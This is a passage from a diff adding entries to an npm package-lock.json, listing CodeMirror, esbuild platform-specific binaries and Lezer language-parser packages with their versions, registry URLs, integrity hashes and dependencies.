| 264 | + | "dependencies": { | |
| 265 | + | "@codemirror/state": "^6.0.0", | |
| 266 | + | "@codemirror/view": "^6.37.0", | |
| 267 | + | "crelt": "^1.0.5" | |
| 268 | + | } | |
| 269 | + | }, | |
| 270 | + | "node_modules/@codemirror/state": { | |
| 271 | + | "version": "6.7.1", | |
| 272 | + | "resolved": "https://registry.npmjs.org/@codemirror/state/-/state-6.7.1.tgz", | |
| 273 | + | "integrity": "sha512-9QzNDgE4EYDnAHfrTlR2lwiPciiOymLtwKK+8yHQzCc7GXhAP9xdEbEJFy2IWB1j9UGUl9BsgMmTo/ImA02T7A==", | |
| 274 | + | "license": "MIT", | |
| 275 | + | "dependencies": { | |
| 276 | + | "@marijn/find-cluster-break": "^1.0.0" | |
| 277 | + | } | |
| 278 | + | }, | |
| 279 | + | "node_modules/@codemirror/view": { | |
| 280 | + | "version": "6.43.7", | |
| 281 | + | "resolved": "https://registry.npmjs.org/@codemirror/view/-/view-6.43.7.tgz", | |
| 282 | + | "integrity": "sha512-FZsExxkoxnAN+d9TgqXLg5g4A1oQwzX9WlkOT5i2PKkcW7xx3Bmu0vs90g6fo9Mpdsb/l96dnAraQ8932aO4/g==", | |
| 283 | + | "license": "MIT", | |
| 284 | + | "dependencies": { | |
| 285 | + | "@codemirror/state": "^6.7.0", | |
| 286 | + | "crelt": "^1.0.6", | |
| 287 | + | "style-mod": "^4.1.0", | |
| 288 | + | "w3c-keyname": "^2.2.4" | |
| 289 | + | } | |
| 290 | + | }, | |
| 291 | + | "node_modules/@esbuild/aix-ppc64": { | |
| 292 | + | "version": "0.24.2", | |
| 293 | + | "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.24.2.tgz", | |
| 294 | + | "integrity": "sha512-thpVCb/rhxE/BnMLQ7GReQLLN8q9qbHmI55F4489/ByVg2aQaQ6kbcLb6FHkocZzQhxc4gx0sCk0tJkKBFzDhA==", | |
| 295 | + | "cpu": [ | |
| 296 | + | "ppc64" | |
| 297 | + | ], | |
| 298 | + | "dev": true, | |
| 299 | + | "license": "MIT", | |
| 300 | + | "optional": true, | |
| 301 | + | "os": [ | |
| 302 | + | "aix" | |
| 303 | + | ], | |
| 304 | + | "engines": { | |
| 305 | + | "node": ">=18" | |
| 306 | + | } | |
| 307 | + | }, | |
| 308 | + | "node_modules/@esbuild/android-arm": { | |
| 309 | + | "version": "0.24.2", | |
| 310 | + | "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.24.2.tgz", | |
| 311 | + | "integrity": "sha512-tmwl4hJkCfNHwFB3nBa8z1Uy3ypZpxqxfTQOcHX+xRByyYgunVbZ9MzUUfb0RxaHIMnbHagwAxuTL+tnNM+1/Q==", | |
| 312 | + | "cpu": [ | |
| 313 | + | "arm" | |
| 314 | + | ], | |
| 315 | + | "dev": true, | |
| 316 | + | "license": "MIT", | |
| 317 | + | "optional": true, | |
| 318 | + | "os": [ | |
| 319 | + | "android" | |
| 320 | + | ], | |
| 321 | + | "engines": { | |
| 322 | + | "node": ">=18" | |
| 323 | + | } | |
| 324 | + | }, | |
| 325 | + | "node_modules/@esbuild/android-arm64": { | |
| 326 | + | "version": "0.24.2", | |
| 327 | + | "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.24.2.tgz", | |
| 328 | + | "integrity": "sha512-cNLgeqCqV8WxfcTIOeL4OAtSmL8JjcN6m09XIgro1Wi7cF4t/THaWEa7eL5CMoMBdjoHOTh/vwTO/o2TRXIyzg==", | |
| 329 | + | "cpu": [ | |
| 330 | + | "arm64" | |
| 331 | + | ], | |
| 332 | + | "dev": true, | |
| 333 | + | "license": "MIT", | |
| 334 | + | "optional": true, | |
| 335 | + | "os": [ | |
| 336 | + | "android" | |
| 337 | + | ], | |
| 338 | + | "engines": { | |
| 339 | + | "node": ">=18" | |
| 340 | + | } | |
| 341 | + | }, | |
| 342 | + | "node_modules/@esbuild/android-x64": { | |
| 343 | + | "version": "0.24.2", | |
| 344 | + | "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.24.2.tgz", | |
| 345 | + | "integrity": "sha512-B6Q0YQDqMx9D7rvIcsXfmJfvUYLoP722bgfBlO5cGvNVb5V/+Y7nhBE3mHV9OpxBf4eAS2S68KZztiPaWq4XYw==", | |
| 346 | + | "cpu": [ | |
| 347 | + | "x64" | |
| 348 | + | ], | |
| 349 | + | "dev": true, | |
| 350 | + | "license": "MIT", | |
| 351 | + | "optional": true, | |
| 352 | + | "os": [ | |
| 353 | + | "android" | |
| 354 | + | ], | |
| 355 | + | "engines": { | |
| 356 | + | "node": ">=18" | |
| 357 | + | } | |
| 358 | + | }, | |
| 359 | + | "node_modules/@esbuild/darwin-arm64": { | |
| 360 | + | "version": "0.24.2", | |
| 361 | + | "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.24.2.tgz", | |
| 362 | + | "integrity": "sha512-kj3AnYWc+CekmZnS5IPu9D+HWtUI49hbnyqk0FLEJDbzCIQt7hg7ucF1SQAilhtYpIujfaHr6O0UHlzzSPdOeA==", | |
| 363 | + | "cpu": [ | |
| 364 | + | "arm64" | |
| 365 | + | ], | |
| 366 | + | "dev": true, | |
| 367 | + | "license": "MIT", | |
| 368 | + | "optional": true, | |
| 369 | + | "os": [ | |
| 370 | + | "darwin" | |
| 371 | + | ], | |
| 372 | + | "engines": { | |
| 373 | + | "node": ">=18" | |
| 374 | + | } | |
| 375 | + | }, | |
| 376 | + | "node_modules/@esbuild/darwin-x64": { | |
| 377 | + | "version": "0.24.2", | |
| 378 | + | "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.24.2.tgz", | |
| 379 | + | "integrity": "sha512-WeSrmwwHaPkNR5H3yYfowhZcbriGqooyu3zI/3GGpF8AyUdsrrP0X6KumITGA9WOyiJavnGZUwPGvxvwfWPHIA==", | |
| 380 | + | "cpu": [ | |
| 381 | + | "x64" | |
| 382 | + | ], | |
| 383 | + | "dev": true, | |
| 384 | + | "license": "MIT", | |
| 385 | + | "optional": true, | |
| 386 | + | "os": [ | |
| 387 | + | "darwin" | |
| 388 | + | ], | |
| 389 | + | "engines": { | |
| 390 | + | "node": ">=18" | |
| 391 | + | } | |
| 392 | + | }, | |
| 393 | + | "node_modules/@esbuild/freebsd-arm64": { | |
| 394 | + | "version": "0.24.2", | |
| 395 | + | "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.24.2.tgz", | |
| 396 | + | "integrity": "sha512-UN8HXjtJ0k/Mj6a9+5u6+2eZ2ERD7Edt1Q9IZiB5UZAIdPnVKDoG7mdTVGhHJIeEml60JteamR3qhsr1r8gXvg==", | |
| 397 | + | "cpu": [ | |
| 398 | + | "arm64" | |
| 399 | + | ], | |
| 400 | + | "dev": true, | |
| 401 | + | "license": "MIT", | |
| 402 | + | "optional": true, | |
| 403 | + | "os": [ | |
| 404 | + | "freebsd" | |
| 405 | + | ], | |
| 406 | + | "engines": { | |
| 407 | + | "node": ">=18" | |
| 408 | + | } | |
| 409 | + | }, | |
| 410 | + | "node_modules/@esbuild/freebsd-x64": { | |
| 411 | + | "version": "0.24.2", | |
| 412 | + | "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.24.2.tgz", | |
| 413 | + | "integrity": "sha512-TvW7wE/89PYW+IevEJXZ5sF6gJRDY/14hyIGFXdIucxCsbRmLUcjseQu1SyTko+2idmCw94TgyaEZi9HUSOe3Q==", | |
| 414 | + | "cpu": [ | |
| 415 | + | "x64" | |
| 416 | + | ], | |
| 417 | + | "dev": true, | |
| 418 | + | "license": "MIT", | |
| 419 | + | "optional": true, | |
| 420 | + | "os": [ | |
| 421 | + | "freebsd" | |
| 422 | + | ], | |
| 423 | + | "engines": { | |
| 424 | + | "node": ">=18" | |
| 425 | + | } | |
| 426 | + | }, | |
| 427 | + | "node_modules/@esbuild/linux-arm": { | |
| 428 | + | "version": "0.24.2", | |
| 429 | + | "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.24.2.tgz", | |
| 430 | + | "integrity": "sha512-n0WRM/gWIdU29J57hJyUdIsk0WarGd6To0s+Y+LwvlC55wt+GT/OgkwoXCXvIue1i1sSNWblHEig00GBWiJgfA==", | |
| 431 | + | "cpu": [ | |
| 432 | + | "arm" | |
| 433 | + | ], | |
| 434 | + | "dev": true, | |
| 435 | + | "license": "MIT", | |
| 436 | + | "optional": true, | |
| 437 | + | "os": [ | |
| 438 | + | "linux" | |
| 439 | + | ], | |
| 440 | + | "engines": { | |
| 441 | + | "node": ">=18" | |
| 442 | + | } | |
| 443 | + | }, | |
| 444 | + | "node_modules/@esbuild/linux-arm64": { | |
| 445 | + | "version": "0.24.2", | |
| 446 | + | "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.24.2.tgz", | |
| 447 | + | "integrity": "sha512-7HnAD6074BW43YvvUmE/35Id9/NB7BeX5EoNkK9obndmZBUk8xmJJeU7DwmUeN7tkysslb2eSl6CTrYz6oEMQg==", | |
| 448 | + | "cpu": [ | |
| 449 | + | "arm64" | |
| 450 | + | ], | |
| 451 | + | "dev": true, | |
| 452 | + | "license": "MIT", | |
| 453 | + | "optional": true, | |
| 454 | + | "os": [ | |
| 455 | + | "linux" | |
| 456 | + | ], | |
| 457 | + | "engines": { | |
| 458 | + | "node": ">=18" | |
| 459 | + | } | |
| 460 | + | }, | |
| 461 | + | "node_modules/@esbuild/linux-ia32": { | |
| 462 | + | "version": "0.24.2", | |
| 463 | + | "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.24.2.tgz", | |
| 464 | + | "integrity": "sha512-sfv0tGPQhcZOgTKO3oBE9xpHuUqguHvSo4jl+wjnKwFpapx+vUDcawbwPNuBIAYdRAvIDBfZVvXprIj3HA+Ugw==", | |
| 465 | + | "cpu": [ | |
| 466 | + | "ia32" | |
| 467 | + | ], | |
| 468 | + | "dev": true, | |
| 469 | + | "license": "MIT", | |
| 470 | + | "optional": true, | |
| 471 | + | "os": [ | |
| 472 | + | "linux" | |
| 473 | + | ], | |
| 474 | + | "engines": { | |
| 475 | + | "node": ">=18" | |
| 476 | + | } | |
| 477 | + | }, | |
| 478 | + | "node_modules/@esbuild/linux-loong64": { | |
| 479 | + | "version": "0.24.2", | |
| 480 | + | "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.24.2.tgz", | |
| 481 | + | "integrity": "sha512-CN9AZr8kEndGooS35ntToZLTQLHEjtVB5n7dl8ZcTZMonJ7CCfStrYhrzF97eAecqVbVJ7APOEe18RPI4KLhwQ==", | |
| 482 | + | "cpu": [ | |
| 483 | + | "loong64" | |
| 484 | + | ], | |
| 485 | + | "dev": true, | |
| 486 | + | "license": "MIT", | |
| 487 | + | "optional": true, | |
| 488 | + | "os": [ | |
| 489 | + | "linux" | |
| 490 | + | ], | |
| 491 | + | "engines": { | |
| 492 | + | "node": ">=18" | |
| 493 | + | } | |
| 494 | + | }, | |
| 495 | + | "node_modules/@esbuild/linux-mips64el": { | |
| 496 | + | "version": "0.24.2", | |
| 497 | + | "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.24.2.tgz", | |
| 498 | + | "integrity": "sha512-iMkk7qr/wl3exJATwkISxI7kTcmHKE+BlymIAbHO8xanq/TjHaaVThFF6ipWzPHryoFsesNQJPE/3wFJw4+huw==", | |
| 499 | + | "cpu": [ | |
| 500 | + | "mips64el" | |
| 501 | + | ], | |
| 502 | + | "dev": true, | |
| 503 | + | "license": "MIT", | |
| 504 | + | "optional": true, | |
| 505 | + | "os": [ | |
| 506 | + | "linux" | |
| 507 | + | ], | |
| 508 | + | "engines": { | |
| 509 | + | "node": ">=18" | |
| 510 | + | } | |
| 511 | + | }, | |
| 512 | + | "node_modules/@esbuild/linux-ppc64": { | |
| 513 | + | "version": "0.24.2", | |
| 514 | + | "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.24.2.tgz", | |
| 515 | + | "integrity": "sha512-shsVrgCZ57Vr2L8mm39kO5PPIb+843FStGt7sGGoqiiWYconSxwTiuswC1VJZLCjNiMLAMh34jg4VSEQb+iEbw==", | |
| 516 | + | "cpu": [ | |
| 517 | + | "ppc64" | |
| 518 | + | ], | |
| 519 | + | "dev": true, | |
| 520 | + | "license": "MIT", | |
| 521 | + | "optional": true, | |
| 522 | + | "os": [ | |
| 523 | + | "linux" | |
| 524 | + | ], | |
| 525 | + | "engines": { | |
| 526 | + | "node": ">=18" | |
| 527 | + | } | |
| 528 | + | }, | |
| 529 | + | "node_modules/@esbuild/linux-riscv64": { | |
| 530 | + | "version": "0.24.2", | |
| 531 | + | "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.24.2.tgz", | |
| 532 | + | "integrity": "sha512-4eSFWnU9Hhd68fW16GD0TINewo1L6dRrB+oLNNbYyMUAeOD2yCK5KXGK1GH4qD/kT+bTEXjsyTCiJGHPZ3eM9Q==", | |
| 533 | + | "cpu": [ | |
| 534 | + | "riscv64" | |
| 535 | + | ], | |
| 536 | + | "dev": true, | |
| 537 | + | "license": "MIT", | |
| 538 | + | "optional": true, | |
| 539 | + | "os": [ | |
| 540 | + | "linux" | |
| 541 | + | ], | |
| 542 | + | "engines": { | |
| 543 | + | "node": ">=18" | |
| 544 | + | } | |
| 545 | + | }, | |
| 546 | + | "node_modules/@esbuild/linux-s390x": { | |
| 547 | + | "version": "0.24.2", | |
| 548 | + | "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.24.2.tgz", | |
| 549 | + | "integrity": "sha512-S0Bh0A53b0YHL2XEXC20bHLuGMOhFDO6GN4b3YjRLK//Ep3ql3erpNcPlEFed93hsQAjAQDNsvcK+hV90FubSw==", | |
| 550 | + | "cpu": [ | |
| 551 | + | "s390x" | |
| 552 | + | ], | |
| 553 | + | "dev": true, | |
| 554 | + | "license": "MIT", | |
| 555 | + | "optional": true, | |
| 556 | + | "os": [ | |
| 557 | + | "linux" | |
| 558 | + | ], | |
| 559 | + | "engines": { | |
| 560 | + | "node": ">=18" | |
| 561 | + | } | |
| 562 | + | }, | |
| 563 | + | "node_modules/@esbuild/linux-x64": { | |
| 564 | + | "version": "0.24.2", | |
| 565 | + | "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.24.2.tgz", | |
| 566 | + | "integrity": "sha512-8Qi4nQcCTbLnK9WoMjdC9NiTG6/E38RNICU6sUNqK0QFxCYgoARqVqxdFmWkdonVsvGqWhmm7MO0jyTqLqwj0Q==", | |
| 567 | + | "cpu": [ | |
| 568 | + | "x64" | |
| 569 | + | ], | |
| 570 | + | "dev": true, | |
| 571 | + | "license": "MIT", | |
| 572 | + | "optional": true, | |
| 573 | + | "os": [ | |
| 574 | + | "linux" | |
| 575 | + | ], | |
| 576 | + | "engines": { | |
| 577 | + | "node": ">=18" | |
| 578 | + | } | |
| 579 | + | }, | |
| 580 | + | "node_modules/@esbuild/netbsd-arm64": { | |
| 581 | + | "version": "0.24.2", | |
| 582 | + | "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.24.2.tgz", | |
| 583 | + | "integrity": "sha512-wuLK/VztRRpMt9zyHSazyCVdCXlpHkKm34WUyinD2lzK07FAHTq0KQvZZlXikNWkDGoT6x3TD51jKQ7gMVpopw==", | |
| 584 | + | "cpu": [ | |
| 585 | + | "arm64" | |
| 586 | + | ], | |
| 587 | + | "dev": true, | |
| 588 | + | "license": "MIT", | |
| 589 | + | "optional": true, | |
| 590 | + | "os": [ | |
| 591 | + | "netbsd" | |
| 592 | + | ], | |
| 593 | + | "engines": { | |
| 594 | + | "node": ">=18" | |
| 595 | + | } | |
| 596 | + | }, | |
| 597 | + | "node_modules/@esbuild/netbsd-x64": { | |
| 598 | + | "version": "0.24.2", | |
| 599 | + | "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.24.2.tgz", | |
| 600 | + | "integrity": "sha512-VefFaQUc4FMmJuAxmIHgUmfNiLXY438XrL4GDNV1Y1H/RW3qow68xTwjZKfj/+Plp9NANmzbH5R40Meudu8mmw==", | |
| 601 | + | "cpu": [ | |
| 602 | + | "x64" | |
| 603 | + | ], | |
| 604 | + | "dev": true, | |
| 605 | + | "license": "MIT", | |
| 606 | + | "optional": true, | |
| 607 | + | "os": [ | |
| 608 | + | "netbsd" | |
| 609 | + | ], | |
| 610 | + | "engines": { | |
| 611 | + | "node": ">=18" | |
| 612 | + | } | |
| 613 | + | }, | |
| 614 | + | "node_modules/@esbuild/openbsd-arm64": { | |
| 615 | + | "version": "0.24.2", | |
| 616 | + | "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.24.2.tgz", | |
| 617 | + | "integrity": "sha512-YQbi46SBct6iKnszhSvdluqDmxCJA+Pu280Av9WICNwQmMxV7nLRHZfjQzwbPs3jeWnuAhE9Jy0NrnJ12Oz+0A==", | |
| 618 | + | "cpu": [ | |
| 619 | + | "arm64" | |
| 620 | + | ], | |
| 621 | + | "dev": true, | |
| 622 | + | "license": "MIT", | |
| 623 | + | "optional": true, | |
| 624 | + | "os": [ | |
| 625 | + | "openbsd" | |
| 626 | + | ], | |
| 627 | + | "engines": { | |
| 628 | + | "node": ">=18" | |
| 629 | + | } | |
| 630 | + | }, | |
| 631 | + | "node_modules/@esbuild/openbsd-x64": { | |
| 632 | + | "version": "0.24.2", | |
| 633 | + | "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.24.2.tgz", | |
| 634 | + | "integrity": "sha512-+iDS6zpNM6EnJyWv0bMGLWSWeXGN/HTaF/LXHXHwejGsVi+ooqDfMCCTerNFxEkM3wYVcExkeGXNqshc9iMaOA==", | |
| 635 | + | "cpu": [ | |
| 636 | + | "x64" | |
| 637 | + | ], | |
| 638 | + | "dev": true, | |
| 639 | + | "license": "MIT", | |
| 640 | + | "optional": true, | |
| 641 | + | "os": [ | |
| 642 | + | "openbsd" | |
| 643 | + | ], | |
| 644 | + | "engines": { | |
| 645 | + | "node": ">=18" | |
| 646 | + | } | |
| 647 | + | }, | |
| 648 | + | "node_modules/@esbuild/sunos-x64": { | |
| 649 | + | "version": "0.24.2", | |
| 650 | + | "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.24.2.tgz", | |
| 651 | + | "integrity": "sha512-hTdsW27jcktEvpwNHJU4ZwWFGkz2zRJUz8pvddmXPtXDzVKTTINmlmga3ZzwcuMpUvLw7JkLy9QLKyGpD2Yxig==", | |
| 652 | + | "cpu": [ | |
| 653 | + | "x64" | |
| 654 | + | ], | |
| 655 | + | "dev": true, | |
| 656 | + | "license": "MIT", | |
| 657 | + | "optional": true, | |
| 658 | + | "os": [ | |
| 659 | + | "sunos" | |
| 660 | + | ], | |
| 661 | + | "engines": { | |
| 662 | + | "node": ">=18" | |
| 663 | + | } | |
| 664 | + | }, | |
| 665 | + | "node_modules/@esbuild/win32-arm64": { | |
| 666 | + | "version": "0.24.2", | |
| 667 | + | "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.24.2.tgz", | |
| 668 | + | "integrity": "sha512-LihEQ2BBKVFLOC9ZItT9iFprsE9tqjDjnbulhHoFxYQtQfai7qfluVODIYxt1PgdoyQkz23+01rzwNwYfutxUQ==", | |
| 669 | + | "cpu": [ | |
| 670 | + | "arm64" | |
| 671 | + | ], | |
| 672 | + | "dev": true, | |
| 673 | + | "license": "MIT", | |
| 674 | + | "optional": true, | |
| 675 | + | "os": [ | |
| 676 | + | "win32" | |
| 677 | + | ], | |
| 678 | + | "engines": { | |
| 679 | + | "node": ">=18" | |
| 680 | + | } | |
| 681 | + | }, | |
| 682 | + | "node_modules/@esbuild/win32-ia32": { | |
| 683 | + | "version": "0.24.2", | |
| 684 | + | "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.24.2.tgz", | |
| 685 | + | "integrity": "sha512-q+iGUwfs8tncmFC9pcnD5IvRHAzmbwQ3GPS5/ceCyHdjXubwQWI12MKWSNSMYLJMq23/IUCvJMS76PDqXe1fxA==", | |
| 686 | + | "cpu": [ | |
| 687 | + | "ia32" | |
| 688 | + | ], | |
| 689 | + | "dev": true, | |
| 690 | + | "license": "MIT", | |
| 691 | + | "optional": true, | |
| 692 | + | "os": [ | |
| 693 | + | "win32" | |
| 694 | + | ], | |
| 695 | + | "engines": { | |
| 696 | + | "node": ">=18" | |
| 697 | + | } | |
| 698 | + | }, | |
| 699 | + | "node_modules/@esbuild/win32-x64": { | |
| 700 | + | "version": "0.24.2", | |
| 701 | + | "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.24.2.tgz", | |
| 702 | + | "integrity": "sha512-7VTgWzgMGvup6aSqDPLiW5zHaxYJGTO4OokMjIlrCtf+VpEL+cXKtCvg723iguPYI5oaUNdS+/V7OU2gvXVWEg==", | |
| 703 | + | "cpu": [ | |
| 704 | + | "x64" | |
| 705 | + | ], | |
| 706 | + | "dev": true, | |
| 707 | + | "license": "MIT", | |
| 708 | + | "optional": true, | |
| 709 | + | "os": [ | |
| 710 | + | "win32" | |
| 711 | + | ], | |
| 712 | + | "engines": { | |
| 713 | + | "node": ">=18" | |
| 714 | + | } | |
| 715 | + | }, | |
| 716 | + | "node_modules/@lezer/common": { | |
| 717 | + | "version": "1.5.2", | |
| 718 | + | "resolved": "https://registry.npmjs.org/@lezer/common/-/common-1.5.2.tgz", | |
| 719 | + | "integrity": "sha512-sxQE460fPZyU3sdc8lafxiPwJHBzZRy/udNFynGQky1SePYBdhkBl1kOagA9uT3pxR8K09bOrmTUqA9wb/PjSQ==", | |
| 720 | + | "license": "MIT" | |
| 721 | + | }, | |
| 722 | + | "node_modules/@lezer/cpp": { | |
| 723 | + | "version": "1.1.6", | |
| 724 | + | "resolved": "https://registry.npmjs.org/@lezer/cpp/-/cpp-1.1.6.tgz", | |
| 725 | + | "integrity": "sha512-vh9gWWJOXFVY8HBHK3Twzq8MgwG2iN4GSyzBP9sCGTe37P15x2R14VaBQk0VA0ezTRN1KHYBBsHhvpGZ2Xy/pA==", | |
| 726 | + | "license": "MIT", | |
| 727 | + | "dependencies": { | |
| 728 | + | "@lezer/common": "^1.2.0", | |
| 729 | + | "@lezer/highlight": "^1.0.0", | |
| 730 | + | "@lezer/lr": "^1.0.0" | |
| 731 | + | } | |
| 732 | + | }, | |
| 733 | + | "node_modules/@lezer/css": { | |
| 734 | + | "version": "1.3.4", | |
| 735 | + | "resolved": "https://registry.npmjs.org/@lezer/css/-/css-1.3.4.tgz", | |
| 736 | + | "integrity": "sha512-N+tn9tej2hPvyKgHEApMOQfHczDJCwxrRFS3SPn9QjYN+uwHvEDnCgKRrb3mxDYxRS8sKMM8fhC3+lc04Abz5Q==", | |
| 737 | + | "license": "MIT", | |
| 738 | + | "dependencies": { | |
| 739 | + | "@lezer/common": "^1.2.0", | |
| 740 | + | "@lezer/highlight": "^1.0.0", | |
| 741 | + | "@lezer/lr": "^1.3.0" | |
| 742 | + | } | |
| 743 | + | }, | |
| 744 | + | "node_modules/@lezer/highlight": { | |
| 745 | + | "version": "1.2.3", | |
| 746 | + | "resolved": "https://registry.npmjs.org/@lezer/highlight/-/highlight-1.2.3.tgz", | |
| 747 | + | "integrity": "sha512-qXdH7UqTvGfdVBINrgKhDsVTJTxactNNxLk7+UMwZhU13lMHaOBlJe9Vqp907ya56Y3+ed2tlqzys7jDkTmW0g==", | |
| 748 | + | "license": "MIT", | |
| 749 | + | "dependencies": { | |
| 750 | + | "@lezer/common": "^1.3.0" | |
| 751 | + | } | |
| 752 | + | }, | |
| 753 | + | "node_modules/@lezer/html": { | |
| 754 | + | "version": "1.3.13", | |
| 755 | + | "resolved": "https://registry.npmjs.org/@lezer/html/-/html-1.3.13.tgz", | |
| 756 | + | "integrity": "sha512-oI7n6NJml729m7pjm9lvLvmXbdoMoi2f+1pwSDJkl9d68zGr7a9Btz8NdHTGQZtW2DA25ybeuv/SyDb9D5tseg==", | |
| 757 | + | "license": "MIT", | |
| 758 | + | "dependencies": { | |
| 759 | + | "@lezer/common": "^1.2.0", | |
| 760 | + | "@lezer/highlight": "^1.0.0", | |
| 761 | + | "@lezer/lr": "^1.0.0" | |
| 762 | + | } | |
| 763 | + | }, | |
| 764 | + | "node_modules/@lezer/java": { | |
| 765 | + | "version": "1.1.3", | |
| 766 | + | "resolved": "https://registry.npmjs.org/@lezer/java/-/java-1.1.3.tgz", | |
| 767 | + | "integrity": "sha512-yHquUfujwg6Yu4Fd1GNHCvidIvJwi/1Xu2DaKl/pfWIA2c1oXkVvawH3NyXhCaFx4OdlYBVX5wvz2f7Aoa/4Xw==", | |
| 768 | + | "license": "MIT", | |
| 769 | + | "dependencies": { | |
| 770 | + | "@lezer/common": "^1.2.0", | |
| 771 | + | "@lezer/highlight": "^1.0.0", | |
| 772 | + | "@lezer/lr": "^1.0.0" | |
| 773 | + | } | |
| 774 | + | }, | |
| 775 | + | "node_modules/@lezer/javascript": { | |
| 776 | + | "version": "1.5.4", | |
| 777 | + | "resolved": "https://registry.npmjs.org/@lezer/javascript/-/javascript-1.5.4.tgz", | |
| 778 | + | "integrity": "sha512-vvYx3MhWqeZtGPwDStM2dwgljd5smolYD2lR2UyFcHfxbBQebqx8yjmFmxtJ/E6nN6u1D9srOiVWm3Rb4tmcUA==", | |
| 779 | + | "license": "MIT", | |
| 780 | + | "dependencies": { | |
| 781 | + | "@lezer/common": "^1.2.0", | |
| 782 | + | "@lezer/highlight": "^1.1.3", | |
| 783 | + | "@lezer/lr": "^1.3.0" | |
| 784 | + | } | |
| 785 | + | }, | |
| 786 | + | "node_modules/@lezer/json": { | |
| 787 | + | "version": "1.0.3", | |
| 788 | + | "resolved": "https://registry.npmjs.org/@lezer/json/-/json-1.0.3.tgz", | |
| 789 | + | "integrity": "sha512-BP9KzdF9Y35PDpv04r0VeSTKDeox5vVr3efE7eBbx3r4s3oNLfunchejZhjArmeieBH+nVOpgIiBJpEAv8ilqQ==", | |
| 790 | + | "license": "MIT", | |
| 791 | + | "dependencies": { | |
| 792 | + | "@lezer/common": "^1.2.0", | |
| 793 | + | "@lezer/highlight": "^1.0.0", | |
| 794 | + | "@lezer/lr": "^1.0.0" | |
| 795 | + | } | |
| 796 | + | }, | |
| 797 | + | "node_modules/@lezer/lr": { | |
| 798 | + | "version": "1.4.10", | |
| 799 | + | "resolved": "https://registry.npmjs.org/@lezer/lr/-/lr-1.4.10.tgz", | |
| 800 | + | "integrity": "sha512-rnCpTIBafOx4mRp43xOxDJbFipJm/c0cia/V5TiGlhmMa+wsSdoGmUN3w5Bqrks/09Q/D4tNAmWaT8p6NRi77A==", | |
| 801 | + | "license": "MIT", | |
| 802 | + | "dependencies": { | |
| 803 | + | "@lezer/common": "^1.0.0" | |
| 804 | + | } | |
| 805 | + | }, | |
| 806 | + | "node_modules/@lezer/markdown": { | |
| 807 | + | "version": "1.7.2", | |
| 808 | + | "resolved": "https://registry.npmjs.org/@lezer/markdown/-/markdown-1.7.2.tgz", | |
| 809 | + | "integrity": "sha512-iTkYvoVcKt3WkeL7qUDyXHONZEwLio4wj8KTNi2dnjQEXBZKMV63BpQrPqfsM+OkvuRbiSTAcycYAsQzLhRNoQ==", | |
| 810 | + | "license": "MIT", | |
| 811 | + | "dependencies": { | |
| 812 | + | "@lezer/common": "^1.5.0", | |
| 813 | + | "@lezer/highlight": "^1.0.0" | |
| 814 | + | } | |
| 815 | + | }, | |
| 816 | + | "node_modules/@lezer/php": { | |
| 817 | + | "version": "1.0.5", | |
| 818 | + | "resolved": "https://registry.npmjs.org/@lezer/php/-/php-1.0.5.tgz", | |
| 819 | + | "integrity": "sha512-W7asp9DhM6q0W6DYNwIkLSKOvxlXRrif+UXBMxzsJUuqmhE7oVU+gS3THO4S/Puh7Xzgm858UNaFi6dxTP8dJA==", | |
| 820 | + | "license": "MIT", | |
| 821 | + | "dependencies": { | |
| 822 | + | "@lezer/common": "^1.2.0", | |
| 823 | + | "@lezer/highlight": "^1.0.0", | |
| 824 | + | "@lezer/lr": "^1.1.0" | |
| 825 | + | } | |
| 826 | + | }, | |
| 827 | + | "node_modules/@lezer/python": { | |
| 828 | + | "version": "1.1.19", | |
| 829 | + | "resolved": "https://registry.npmjs.org/@lezer/python/-/python-1.1.19.tgz", | |
| 830 | + | "integrity": "sha512-MhQIURHRytsNzP/YXnqpYKW6la6voAH3kyplTOOiCdjyFY6cWWGFVmYVdHIPrElqSDf4iCDktQCockB9FxuhzQ==", | |
| 831 | + | "license": "MIT", | |
| 832 | + | "dependencies": { | |
| 833 | + | "@lezer/common": "^1.2.0", | |
| 834 | + | "@lezer/highlight": "^1.0.0", | |
| 835 | + | "@lezer/lr": "^1.0.0" | |
| 836 | + | } | |
| 837 | + | }, | |
| 838 | + | "node_modules/@lezer/rust": { | |
| 839 | + | "version": "1.0.2", | |
| 840 | + | "resolved": "https://registry.npmjs.org/@lezer/rust/-/rust-1.0.2.tgz", | |
| 841 | + | "integrity": "sha512-Lz5sIPBdF2FUXcWeCu1//ojFAZqzTQNRga0aYv6dYXqJqPfMdCAI0NzajWUd4Xijj1IKJLtjoXRPMvTKWBcqKg==", | |
| 842 | + | "license": "MIT", | |
| 843 | + | "dependencies": { | |
| 844 | + | "@lezer/common": "^1.2.0", | |
| 845 | + | "@lezer/highlight": "^1.0.0", | |
